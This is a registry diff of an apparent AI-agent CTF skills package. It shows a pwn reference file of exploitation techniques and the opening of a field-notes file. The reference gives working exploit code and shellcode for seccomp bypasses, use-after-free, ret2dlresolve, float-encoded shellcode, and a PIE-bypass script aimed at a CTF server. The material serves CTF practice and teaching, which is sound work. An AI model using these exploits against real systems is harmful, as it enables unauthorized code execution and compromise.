ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,326 @@
1
+ # CTF Pwn - Advanced Techniques
2
+
3
+ ## Table of Contents
4
+ - [Seccomp Advanced Techniques](#seccomp-advanced-techniques)
5
+ - [openat2 Bypass (New Age Pattern)](#openat2-bypass-new-age-pattern)
6
+ - [Conditional Buffer Address Restrictions](#conditional-buffer-address-restrictions)
7
+ - [Shellcode Construction Without Relocations (pwntools)](#shellcode-construction-without-relocations-pwntools)
8
+ - [Seccomp Analysis from Disassembly](#seccomp-analysis-from-disassembly)
9
+ - [rdx Control in ROP Chains](#rdx-control-in-rop-chains)
10
+ - [Use-After-Free (UAF) Exploitation](#use-after-free-uaf-exploitation)
11
+ - [JIT Compilation Exploits](#jit-compilation-exploits)
12
+ - [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)
13
+ - [Heap Overlap via Base Conversion](#heap-overlap-via-base-conversion)
14
+ - [Tree Data Structure Stack Underallocation](#tree-data-structure-stack-underallocation)
15
+ - [ret2dlresolve](#ret2dlresolve)
16
+ - [Kernel Exploitation](#kernel-exploitation) (basic; see [kernel.md](kernel.md) for full coverage)
17
+ - [9-Byte test+je Timing Leak (hxp 2018)](#9-byte-testje-timing-leak-hxp-2018)
18
+ - [RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)](#rtlcapturecontext-deterministic-windows-stack-leak-insomnihack-2017)
19
+ - [IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)](#ieee-754-double-as-shellcode-via-exponent-fixing-kaspersky-2018)
20
+ - [PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)](#pie-bypass-via-consistent-glibc-load-base-0x56555000-tamuctf-2019)
21
+
22
+ **See also:** [heap-techniques.md](heap-techniques.md) — House of Apple 2, House of Einherjar, House of Orange/Spirit/Lore/Force, heap grooming, custom allocator exploitation (nginx, talloc), classic unlink, musl libc heap, tcache stashing unlink
23
+
24
+ ---
25
+
26
+ ## Seccomp Advanced Techniques
27
+
28
+ ### openat2 Bypass (New Age Pattern)
29
+
30
+ `openat2` (syscall 437, Linux 5.6+) frequently missed in seccomp filters blocking `open`/`openat`:
31
+ ```python
32
+ # struct open_how { u64 flags; u64 mode; u64 resolve; } = 24 bytes
33
+ # openat2(AT_FDCWD, filename, &open_how, sizeof(open_how))
34
+ ```
35
+
36
+ ### Conditional Buffer Address Restrictions
37
+
38
+ Seccomp `SCMP_CMP_LE`/`SCMP_CMP_GE` on buffer addresses:
39
+ - `read()` KILL if buf <= code_region + X → read to high addresses
40
+ - `write()` KILL if buf >= code_region + Y → write from low addresses
41
+
42
+ **Bypass:** Read into allowed region, `rep movsb` copy to write-allowed region:
43
+ ```nasm
44
+ lea rsi, [r14 + 0xc01] ; buf > code_region+0xc00 (passes read check)
45
+ xor rax, rax ; __NR_read
46
+ syscall
47
+ mov r13, rax
48
+ lea rsi, [r14 + 0xc01] ; src (high)
49
+ lea rdi, [r14 + 0x200] ; dst (low, < code_region+0x400)
50
+ mov rcx, r13
51
+ rep movsb
52
+ mov rdi, 1
53
+ lea rsi, [r14 + 0x200] ; buf < code_region+0x400 (passes write check)
54
+ mov rdx, r13
55
+ mov rax, 1 ; __NR_write
56
+ syscall
57
+ ```
58
+
59
+ ### Shellcode Construction Without Relocations (pwntools)
60
+
61
+ pwntools `asm()` fails with forward label references. Fix with manual jmp/call:
62
+
63
+ ```python
64
+ body = asm('''
65
+ pop rbx /* rbx = address after call instruction */
66
+ mov r14, rbx
67
+ and r14, -4096 /* page-align for code_region base */
68
+ mov rsi, rbx /* filename pointer */
69
+ /* ... rest of shellcode ... */
70
+ fail:
71
+ mov rdi, 1
72
+ mov rax, 60
73
+ syscall
74
+ ''')
75
+ call_offset = -(len(body) + 5)
76
+ call_instr = b'\xe8' + p32(call_offset & 0xffffffff)
77
+ jmp_instr = b'\xeb' + bytes([len(body)]) if len(body) < 128 else b'\xe9' + p32(len(body))
78
+ shellcode = jmp_instr + body + call_instr + b"filename.txt\x00"
79
+ # call pushes filename address onto stack, pop rbx retrieves it
80
+ ```
81
+
82
+ ### Seccomp Analysis from Disassembly
83
+
84
+ ```c
85
+ seccomp_rule_add(ctx, action, syscall_nr, arg_count, ...)
86
+ ```
87
+
88
+ `scmp_arg_cmp` struct: `arg` (+0x00, uint), `op` (+0x04, int), `datum_a` (+0x08, u64), `datum_b` (+0x10, u64)
89
+
90
+ SCMP_CMP operators: `NE=1, LT=2, LE=3, EQ=4, GE=5, GT=6, MASKED_EQ=7`
91
+
92
+ Default action `0x7fff0000` = `SCMP_ACT_ALLOW`
93
+
94
+ ---
95
+
96
+ ## rdx Control in ROP Chains
97
+
98
+ See [rop-and-shellcode.md](rop-and-shellcode.md#rdx-control-in-rop-chains) for full details and code examples.
99
+
100
+ ---
101
+
102
+ ## Use-After-Free (UAF) Exploitation
103
+
104
+ **Pattern:** Menu create/delete/view where `free()` doesn't NULL pointer.
105
+
106
+ **Classic UAF flow:**
107
+ 1. Create object A (allocates chunk with function pointer)
108
+ 2. Leak address via inspect/view (bypass PIE)
109
+ 3. Free object A (creates dangling pointer)
110
+ 4. Allocate object B of **same size** (reuses freed chunk via tcache)
111
+ 5. Object B data overwrites A's function pointer with `win()` address
112
+ 6. Trigger A's callback -> jumps to `win()`
113
+
114
+ **Key insight:** Both structs must be the same size for tcache to reuse the chunk.
115
+
116
+ ```python
117
+ create_report("sighting-0") # 64-byte struct with callback ptr at +56
118
+ leak = inspect_report(0) # Leak callback address for PIE bypass
119
+ pie_base = leak - redaction_offset
120
+ win_addr = pie_base + win_offset
121
+
122
+ delete_report(0) # Free chunk, dangling pointer remains
123
+ create_signal(b"A"*56 + p64(win_addr)) # Same-size struct overwrites callback
124
+ analyze_report(0) # Calls dangling pointer -> win()
125
+ ```
126
+
127
+ ---
128
+
129
+ ## JIT Compilation Exploits
130
+
131
+ **Pattern (Santa's Christmas Calculator):** Off-by-one in instruction encoding causes misaligned machine code.
132
+
133
+ **Exploitation flow:**
134
+ 1. Find the boundary value that triggers wrong instruction form (e.g., 128 vs 127)
135
+ 2. Misaligned bytes become executable instructions
136
+ 3. Control `rax` to survive invalid dereferences (point to writable memory)
137
+ 4. Embed shellcode as operand bytes of subtraction operations
138
+ 5. Chain 4-byte shellcode blocks with 2-byte `jmp` instructions between them
139
+
140
+ **2-byte instruction shellcode tricks:**
141
+ - `push rdx; pop rsi` = `mov rsi, rdx` in 2 bytes
142
+ - `xor eax, eax` = 2 bytes (set syscall number)
143
+ - `not dl` = 2 bytes (adjust pointer)
144
+ - Use `sys_read` to stage full shellcode on RWX page, then jump to it
145
+
146
+ ## Esoteric Language GOT Overwrite
147
+
148
+ **Pattern (Pikalang):** Brainfuck/Pikalang interpreter with unbounded tape allows arbitrary memory access.
149
+
150
+ **Exploitation:**
151
+ 1. Tape pointer starts at known buffer address
152
+ 2. Move pointer backward/forward to reach GOT entry (e.g., `strlen@GOT`)
153
+ 3. Overwrite GOT entry byte-by-byte with `system()` address
154
+ 4. Next call to overwritten function triggers `system(controlled_string)`
155
+
156
+ **Key insight:** Unbounded tape = arbitrary read/write primitive relative to buffer base.
157
+
158
+ ## Heap Overlap via Base Conversion
159
+
160
+ **Pattern (Santa's Base Converter):** Number stored as string in different bases has different lengths.
161
+
162
+ **Exploitation:**
163
+ 1. Store number in base with short representation (e.g., base-36)
164
+ 2. Convert to base with longer representation (e.g., base-2/binary)
165
+ 3. Longer string overflows into adjacent heap chunk metadata
166
+ 4. Corrupted chunk overlaps with target allocation
167
+
168
+ **Limited charset constraint:** Only digits/letters available (0-9, a-z) limits writable byte values.
169
+
170
+ ## Tree Data Structure Stack Underallocation
171
+
172
+ **Pattern (Christmas Trees):** Imbalanced binary tree causes stack buffer underallocation.
173
+
174
+ **Vulnerability:** Stack allocation based on balanced tree assumption (`2^depth` nodes), but actual traversal of imbalanced tree uses more stack than allocated buffer, causing overflow.
175
+
176
+ **Exploitation:** Craft tree structure that causes traversal to overflow buffer → overwrite return address → ret2win (partial overwrite if PIE).
177
+
178
+ ---
179
+
180
+ ## ret2dlresolve
181
+
182
+ **Pattern:** Forge `Elf64_Sym` and `Elf64_Rela` structures to trick the dynamic linker into resolving an arbitrary function (e.g., `system`) at the next PLT call. Bypasses ASLR without any libc leak.
183
+
184
+ ```python
185
+ from pwn import *
186
+
187
+ # pwntools has built-in ret2dlresolve support
188
+ rop = ROP(elf)
189
+ dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
190
+
191
+ rop.read(0, dlresolve.data_addr) # Read forged structures to known address
192
+ rop.ret2dlresolve(dlresolve) # Trigger resolution
193
+
194
+ # Stage 1: Send ROP chain
195
+ io.sendline(flat({offset: rop.chain()}))
196
+
197
+ # Stage 2: Send forged dl-resolve payload
198
+ io.sendline(dlresolve.payload)
199
+ ```
200
+
201
+ **Manual approach (understanding the internals):**
202
+ ```python
203
+ # Forge at a writable address (e.g., .bss)
204
+ # 1. Fake Elf64_Rela: points PLT slot to our fake Elf64_Sym
205
+ # 2. Fake Elf64_Sym: st_name offset points to our "system" string
206
+ # 3. "system\x00" string
207
+
208
+ SYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')
209
+ STRTAB = elf.dynamic_value_by_tag('DT_STRTAB')
210
+ JMPREL = elf.dynamic_value_by_tag('DT_JMPREL')
211
+
212
+ # Calculate reloc_index so PLT stub pushes correct index
213
+ reloc_index = (fake_rela_addr - JMPREL) // 0x18 # sizeof(Elf64_Rela)
214
+
215
+ # Fake Elf64_Sym.st_name = offset from STRTAB to our "system" string
216
+ fake_sym_st_name = fake_string_addr - STRTAB
217
+ ```
218
+
219
+ **Key insight:** ret2dlresolve works without ANY leak. It exploits the lazy binding mechanism: when a PLT function is called for the first time, the dynamic linker looks up the symbol name and resolves it. By forging the lookup structures, you can make it resolve any libc function. Use pwntools' `Ret2dlresolvePayload` for automation.
220
+
221
+ **Requirements:** Partial RELRO (Full RELRO resolves all symbols at load time, defeating this). Writable memory to place forged structures.
222
+
223
+ ---
224
+
225
+ ## Kernel Exploitation
226
+
227
+ For comprehensive kernel exploitation techniques, see [kernel.md](kernel.md). Quick reference:
228
+
229
+ - `modprobe_path` overwrite for root code execution (requires AAW)
230
+ - `tty_struct` kROP via fake vtable and stack pivot
231
+ - `userfaultfd` for deterministic race conditions
232
+ - Heap spray with `tty_struct`, `poll_list`, `user_key_payload`, `seq_operations`
233
+ - KASLR/FGKASLR/SMEP/SMAP/KPTI bypass techniques
234
+ - Kernel config recon checklist
235
+
236
+ **Basic patterns (userland-adjacent):**
237
+ - OOB via vulnerable `lseek` handlers
238
+ - Heap grooming with forked processes
239
+ - SUID binary exploitation via kernel-to-userland buffer overflow
240
+ - Check kernel config for disabled protections:
241
+ - `CONFIG_SLAB_FREELIST_RANDOM=n` → sequential heap chunks
242
+ - `CONFIG_SLAB_MERGE_DEFAULT=n` → predictable allocations
243
+
244
+ ---
245
+
246
+ ## 9-Byte test+je Timing Leak (hxp 2018)
247
+
248
+ **Pattern:** The shellcode slot is only 9 bytes — too small for a full read/write. Write a 7-byte `test BYTE PTR [rip+0x2], imm8` followed by a 2-byte `je 0` (infinite loop on zero flag). Read the flag one bit at a time by flipping the immediate, then close the socket and measure round-trip time: `<2 s` = crashed (bit differs from imm), `>2 s` = hung (bit matches, loop fired).
249
+
250
+ ```asm
251
+ f6 05 02 00 00 00 X test BYTE PTR [rip+0x2], X
252
+ 74 fe je 0
253
+ ```
254
+
255
+ **Key insight:** Tiny shellcode budgets can still leak a full flag if you turn the loop / crash distinction into a 1-bit channel. Any operation that hangs on one branch and crashes on the other works — `hlt`, page faults, or explicit infinite loops.
256
+
257
+ **References:** hxp CTF 2018 — yunospace, writeup 12570
258
+
259
+ ---
260
+
261
+ ## RtlCaptureContext Deterministic Windows Stack Leak (Insomnihack 2017)
262
+
263
+ **Pattern:** Need a stack leak on Windows with ASLR but no format string. `ntdll!RtlCaptureContext(&ctx)` writes the current register set (including `Rsp`) into a user-supplied `CONTEXT` struct. Call it once from attacker-chosen code, then read `ctx.Rsp` from the same buffer.
264
+
265
+ ```c
266
+ CONTEXT ctx;
267
+ RtlCaptureContext(&ctx);
268
+ printf("rsp = %p\n", (void*)ctx.Rsp);
269
+ ```
270
+
271
+ **Key insight:** Windows NT API has several "dump register state" helpers intended for unwinding and exception handling. They behave as deterministic info-leak primitives for exploitation because they copy `RSP` verbatim into user memory with no randomisation.
272
+
273
+ **References:** Insomnihack 2017 — winworld, writeup 12876
274
+
275
+ ---
276
+
277
+ ## IEEE 754 Double-as-Shellcode via Exponent Fixing (Kaspersky 2018)
278
+
279
+ **Pattern:** Challenge writes exactly six 8-byte IEEE 754 doubles into a buffer and then computes `(d1 + d2 + d3 + d4 + d5 + d6) / 6` — the result is executed. Force every summand to have exponent bits `0x4330` (`1075 = 1023 + 52`), which gives an exactly-representable 52-bit integer, so double addition behaves like integer addition with no rounding. Encode the target shellcode as an integer, pick `d6` so the sum hits it exactly.
280
+
281
+ ```python
282
+ def shellcode_to_double(bytes_):
283
+ # Pin exponent so the payload bits are preserved
284
+ return struct.unpack('d', b'\x30\x43' + bytes_[:6])[0]
285
+
286
+ d1 = shellcode_to_double(sc[ 0: 6])
287
+ d2 = shellcode_to_double(sc[ 6:12])
288
+ d3 = shellcode_to_double(sc[12:18])
289
+ d4 = shellcode_to_double(sc[18:24])
290
+ d5 = shellcode_to_double(sc[24:30])
291
+ # d6 chosen so 6*target == d1+d2+d3+d4+d5+d6
292
+ target_int = int_from_shellcode(sc_full)
293
+ d6 = 6*target_int - (d1_int + d2_int + d3_int + d4_int + d5_int)
294
+ ```
295
+
296
+ **Key insight:** IEEE 754 doubles are lossless integer containers whenever the exponent field is fixed at `bias + 52`. Any "you can only write N doubles" primitive is equivalent to "you can write N×6 bytes of raw data", as long as you control the exponent bits. Works identically for 32-bit floats (`bias + 23`) and long doubles.
297
+
298
+ **References:** Kaspersky Industrial CTF 2018 — doubles, writeups 12324, 12326
299
+
300
+ ---
301
+
302
+ ## PIE Bypass via Consistent glibc Load Base 0x56555000 (TAMUctf 2019)
303
+
304
+ **Pattern (pwn2):** PIE-enabled 32-bit ELF with no leak primitive. A function pointer on the stack is called after `strcpy`ing user input into a 30-byte buffer; overwriting the pointer lets us pick any code target — but the randomised base normally blocks picking `print_flag`. Observation: on the challenge runtime (and many default glibc configurations for i386 PIE binaries), the loader places the executable at the fixed base `0x56555000` across runs. That makes PIE effectively a known-offset: `print_flag = 0x56555000 + 0x6dc`, reachable without any leak.
305
+
306
+ ```python
307
+ # `gdb -q ./pwn2` -> `info proc mappings`
308
+ # 0x56555000 0x56556000 0x1000 0x0 ./pwn2
309
+ # 0x56556000 0x56557000 0x1000 0x0 ./pwn2
310
+ # print_flag symbol offset: 0x6dc
311
+
312
+ from pwn import *
313
+
314
+ PIE_BASE = 0x56555000
315
+ print_flag = PIE_BASE + 0x6dc
316
+
317
+ payload = cyclic(30) # buffer(30) -> reaches the fn pointer slot
318
+ payload += p32(print_flag) # overwrite var_C called after strcmp
319
+ io = remote('pwn.tamuctf.com', 4322)
320
+ io.sendline(payload)
321
+ io.interactive()
322
+ ```
323
+
324
+ **Key insight:** 32-bit PIE on many distros emits `ET_DYN` with a stock `mmap_base` of `0x56555000` because `brk_randomization` and ASLR entropy are minimal. If `info proc mappings` shows the same base across multiple runs (in the challenge container or in gdb with `set disable-randomization on`), treat the "random" base as a constant. Always enumerate map bases before assuming a leak is required — the same trick applies to stacks started under `ulimit -s unlimited` (base becomes `0x7fff_f000` deterministically).
325
+
326
+ **References:** TAMUctf 2019 — pwn2, writeup 13423
@@ -0,0 +1,245 @@
1
+ # Pwn Field Notes
2
+
3
+ Detailed pwn notes that support [`SKILL.md`](SKILL.md). Read this file after confirming the challenge really needs exploitation.
4
+
5
+ ## Table of Contents
6
+
7
+ - [Heap Exploitation](#heap-exploitation)
8
+ - [Additional Exploit Notes](#additional-exploit-notes)
9
+ - [talloc Pool Header Forgery](#talloc-pool-header-forgery)
10
+ - [JIT Compilation Exploits](#jit-compilation-exploits)
11
+ - [Type Confusion in Interpreters](#type-confusion-in-interpreters)
12
+ - [Off-by-One Index / Size Corruption](#off-by-one-index--size-corruption)
13
+ - [Double win() Call](#double-win-call)
14
+ - [Arbitrary Read/Write to Shell via GOT Overwrite](#arbitrary-readwrite-to-shell-via-got-overwrite)
15
+ - [Stack Leak via __environ and memcpy Overflow](#stack-leak-via-__environ-and-memcpy-overflow)
16
+ - [JIT Sandbox Escape via uint16 Jump Truncation](#jit-sandbox-escape-via-uint16-jump-truncation)
17
+ - [DNS Compression Pointer Stack Overflow](#dns-compression-pointer-stack-overflow)
18
+ - [ELF Code Signing Bypass via Program Headers](#elf-code-signing-bypass-via-program-headers)
19
+ - [Game Level Format Signed/Unsigned Coordinate Mismatch](#game-level-format-signedunsigned-coordinate-mismatch)
20
+ - [File Descriptor Inheritance via Missing O_CLOEXEC](#file-descriptor-inheritance-via-missing-o_cloexec)
21
+ - [Sign Extension Integer Underflow in Metadata Parsing](#sign-extension-integer-underflow-in-metadata-parsing)
22
+ - [ROP Chain Construction with Read-Only Primitive](#rop-chain-construction-with-read-only-primitive)
23
+ - [Esoteric Language GOT Overwrite](#esoteric-language-got-overwrite)
24
+ - [Protocol Stack Bleeding](#protocol-stack-bleeding)
25
+ - [Timing Attack Flag Recovery](#timing-attack-flag-recovery)
26
+ - [DNS Record Buffer Overflow](#dns-record-buffer-overflow)
27
+ - [ASAN Shadow Memory Exploitation](#asan-shadow-memory-exploitation)
28
+ - [Format String .fini_array Loop for Multi-Stage Exploitation](#format-string-fini_array-loop-for-multi-stage-exploitation)
29
+ - [Format String with RWX .fini_array Hijack](#format-string-with-rwx-fini_array-hijack)
30
+ - [Custom Canary Preservation](#custom-canary-preservation)
31
+ - [MD5 Preimage Gadget Construction](#md5-preimage-gadget-construction)
32
+ - [Python Sandbox Escape](#python-sandbox-escape)
33
+ - [VM GC-Triggered UAF (Slab Reuse)](#vm-gc-triggered-uaf-slab-reuse)
34
+ - [GC Null-Reference Cascading Corruption](#gc-null-reference-cascading-corruption)
35
+ - [OOB Read via Stride/Rate Leak](#oob-read-via-striderate-leak)
36
+ - [SROP with UTF-8 Constraints](#srop-with-utf-8-constraints)
37
+ - [VM Exploitation (Custom Bytecode)](#vm-exploitation-custom-bytecode)
38
+ - [FUSE/CUSE Character Device Exploitation](#fusecuse-character-device-exploitation)
39
+ - [Busybox/Restricted Shell Escalation](#busyboxrestricted-shell-escalation)
40
+ - [process_vm_readv Sandbox Bypass](#process_vm_readv-sandbox-bypass)
41
+ - [Named Pipe (mkfifo) File Size Bypass](#named-pipe-mkfifo-file-size-bypass)
42
+ - [Shell Tricks](#shell-tricks)
43
+ - [Double Stack Pivot to BSS via leave;ret](#double-stack-pivot-to-bss-via-leaveret)
44
+ - [RETF Architecture Switch for Seccomp Bypass](#retf-architecture-switch-for-seccomp-bypass)
45
+ - [Leakless Libc via Multi-fgets stdout FILE Overwrite](#leakless-libc-via-multi-fgets-stdout-file-overwrite)
46
+ - [Signed/Unsigned Char Underflow to Heap Overflow](#signedunsigned-char-underflow-to-heap-overflow)
47
+ - [TLS Destructor Hijack via `__call_tls_dtors`](#tls-destructor-hijack-via-__call_tls_dtors)
48
+ - [Signed Int Overflow to Negative OOB Heap Write](#signed-int-overflow-to-negative-oob-heap-write)
49
+ - [Custom Shadow Stack Bypass via Pointer Overflow](#custom-shadow-stack-bypass-via-pointer-overflow)
50
+ - [Windows SEH Overwrite + VirtualAlloc ROP](#windows-seh-overwrite--virtualalloc-rop)
51
+ - [SeDebugPrivilege to SYSTEM](#sedebugprivilege-to-system)
52
+ - [mmap/munmap Size Mismatch UAF](#mmapmunmap-size-mismatch-uaf)
53
+ - [strcspn Indirect Null Byte Injection](#strcspn-indirect-null-byte-injection)
54
+ - [Windows CFG Bypass Using system() as Valid Call Target](#windows-cfg-bypass-using-system-as-valid-call-target)
55
+ - [4-Byte Shellcode with Timing Side-Channel](#4-byte-shellcode-with-timing-side-channel)
56
+ - [CRC Oracle as Arbitrary Read Primitive](#crc-oracle-as-arbitrary-read-primitive)
57
+ - [UTF-8 Case Conversion Buffer Overflow](#utf-8-case-conversion-buffer-overflow)
58
+ - [Useful Commands](#useful-commands)
59
+
60
+ ## Heap Exploitation
61
+
62
+ - tcache poisoning (glibc 2.26+), fastbin dup / double free
63
+ - House of Force (old glibc), unsorted bin attack
64
+ - **House of Apple 2** (glibc 2.34+): FSOP (File Stream Oriented Programming) via `_IO_wfile_jumps` when `__free_hook`/`__malloc_hook` removed. Fake FILE with `_flags = " sh"`, vtable chain → `system(fp)`. For SUID binaries: use `setcontext()` variant to stack pivot → `setuid(0)` → `system()` (dash drops privs when uid != euid). See [heap-techniques.md](heap-techniques.md#setcontext-variant-for-suid-binaries-midnight-flag-2026).
65
+ - **Classic unlink**: Corrupt adjacent chunk metadata, trigger backward consolidation for write-what-where primitive. Pre-2.26 glibc only. See [heap-techniques.md](heap-techniques.md#classic-heap-unlink-attack-crypto-cat).
66
